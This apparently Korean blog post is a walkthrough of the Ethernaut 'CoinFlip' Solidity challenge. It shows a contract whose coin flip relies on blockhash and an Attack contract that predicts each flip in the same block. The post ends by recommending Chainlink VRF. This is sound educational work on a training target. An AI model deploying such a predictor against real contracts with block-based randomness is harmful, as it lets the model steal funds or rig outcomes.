티스토리 뷰
1. 문제
초능력(?)을 사용해서 10번 연속으로 코인 뒤집기의 결과를 맞춰라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
2. 초능력이 없는데 어떡하죠?
문제를 해결하는 데는 다음의 선택지가 있습니다.
- 순수 피지컬로 찍어 누른다.
- 취약점을 공격한다.
당연히 1번은 트랜잭션을 몇 번을 실행해야 될지 예상도 안되기 때문에 2번을 선택하는 것이 맞습니다. 그런데 취약점이라고 할만한 게 안 보이는데 어떻게 해야 할까요?
코인 던지기 결과를 계산하는 방법은 다음과 같습니다.
- 이전 블록의 해시값을 가져와 uint256 타입으로 변환하여 blockValue에 할당한다.
- blockValue를 FACTOR로 나눈 몫을 coinFlip에 할당한다.
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
이렇게 만들어진 값이 정말로 '예측'이 어려울까요? 사이킥 파워가 있어야만 할까요?
아니 해시값이 '랜덤'하니까 coinFlip 값도 랜덤 한 거 아닌가요?
제가 랜덤하고 아니고 답을 내려드리기는 어렵지만, 한 가지 확실한 것은 coinFlip 값은 랜덤 하지 않다는 것입니다! 오히려 예측하지 않고도 값을 통제할 수 있다는 치명적인 문제가 있죠.
3. block.number 얘가 문제임
block.xxx 또는 msg.xxx 등의 변수는 어떤 컨트랙트에서도 접근이 가능한 전역 변수입니다. 예를 들어, block.number는 현재 실행된 트랜잭션이 포함된 블록의 번호, msg.sender는 트랜잭션의 발신자입니다. 문제는 이러한 값들이 어느 정도 통제가 가능하다는 것입니다.
첫 번째로, 트랜잭션이 포함될 블록의 번호를 제어할 수 있습니다. 이 부분은 트랜잭션의 가스비를 조절하거나 트랜잭션을 전송하는 시점 등을 제어해야 하므로 다소 어려운 방법이기는 하나, 블록의 번호를 제어할 수 있기 때문에 coinFlip 값을 충분히 예측할 수 있습니다.
두 번째는 CoinFlip 컨트랙트를 공격하는 새로운 컨트랙트를 작성하여 배포하고 실행하는 것입니다. 예를 들어, Attack이라는 이름의 컨트랙트의 attack 함수를 호출하면 코인 뒤집기 결과를 계산하여 함수 내부에서 CoinFlip 컨트랙트의 flip 함수를 호출한다고 봅시다.
이렇게 호출된 함수의 결과는 하나의 트랜잭션에 담기게 됩니다.
그리고 이 트랜잭션은 하나의 블록에 담기게 됩니다.
하나의 블록 안에 있는 트랜잭션에서 함수 호출이 처리되었다는 것은 곧 attack 함수에서 불러온 block.number와 flip 함수에서 불러온 block.number의 값이 동일하다는 것을 의미합니다.
따라서 flip 함수에서 사용된 계산식을 attack 함수에서 동일하게 사용하여 코인 뒤집기의 결과를 계산할 수 있습니다.
4. 공격 컨트랙트 작성하고 실행하기
4-1. Remix IDE에서 배포된 CoinFlip 컨트랙트 불러오기
먼저 CoinFlip 컨트랙트를 붙여 넣고 메타마스크 또는 월렛커넥트를 선택하여 지갑을 연결해 줍니다. 이때 Ethernaut에서 인스턴스를 생성할 때 사용한 네트워크와 동일한 네트워크를 선택해 줘야 합니다.
그리고 배포된 인스턴스의 주소를 붙여 넣고 At Address 버튼을 눌러 배포된 인스턴스를 불러옵니다.
4-2. 공격 컨트랙트 작성하고 배포하기
contract Attack {
address public coinFlipAddress;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddress) {
coinFlipAddress = _coinFlipAddress;
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CoinFlip coinFlipContract = CoinFlip(coinFlipAddress);
coinFlipContract.flip(side);
}
}
이 컨트랙트는 우선 생성자 함수로 CoinFlip 컨트랙트의 주소를 받습니다. 그리고 attack 함수를 호출하면 CoinFlip 컨트랙트의 계산식과 동일한 식을 사용하여 코인 뒤집기 결과를 계산하여 CoinFlip 컨트랙트의 flip 함수를 호출합니다. 이때 반복문을 사용하여 flip 함수를 여러 번 호출할 수도 있어 보이지만, CoinFlip 컨트랙트에서 lasthash 값을 사용하여 동일한 블록에서 실행한 트랜잭션이 revert 되도록 방어진을 구축해 놓았기 때문에 10번을 단순 노가다로 호출을 해야 한다는 번거로움이 있습니다.
일단 CoinFlip 컨트랙트의 주소를 집어넣고 배포를 합니다.
4-2. 공격 컨트랙트 작성하고 배포하기
4-3. 공격!!!
이제 attack 함수를 10번 호출하면 됩니다.
한 번...
consecutiveWins 값이 1이 된 것을 확인할 수 있습니다.
열 번... success. 중간중간 실패하는 트랜잭션은 블록 해시값에서 걸려서 그런 겁니다.
자~ 제출 드가자~
5. 결론
전역 변수를 사용해서 랜덤한 값을 생성할 수 없다. Chainlink VRF를 사용하자.
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 5. Token (0) | 2024.01.15 |
---|---|
[Ethernaut] 4. Telephone (0) | 2024.01.08 |
[Ethernaut] 2. Fallout (2) | 2024.01.05 |
[Ethernaut] 1. Fallback (2) | 2024.01.04 |
[Ethernaut] 0. Hello Ethernaut (1) | 2024.01.04 |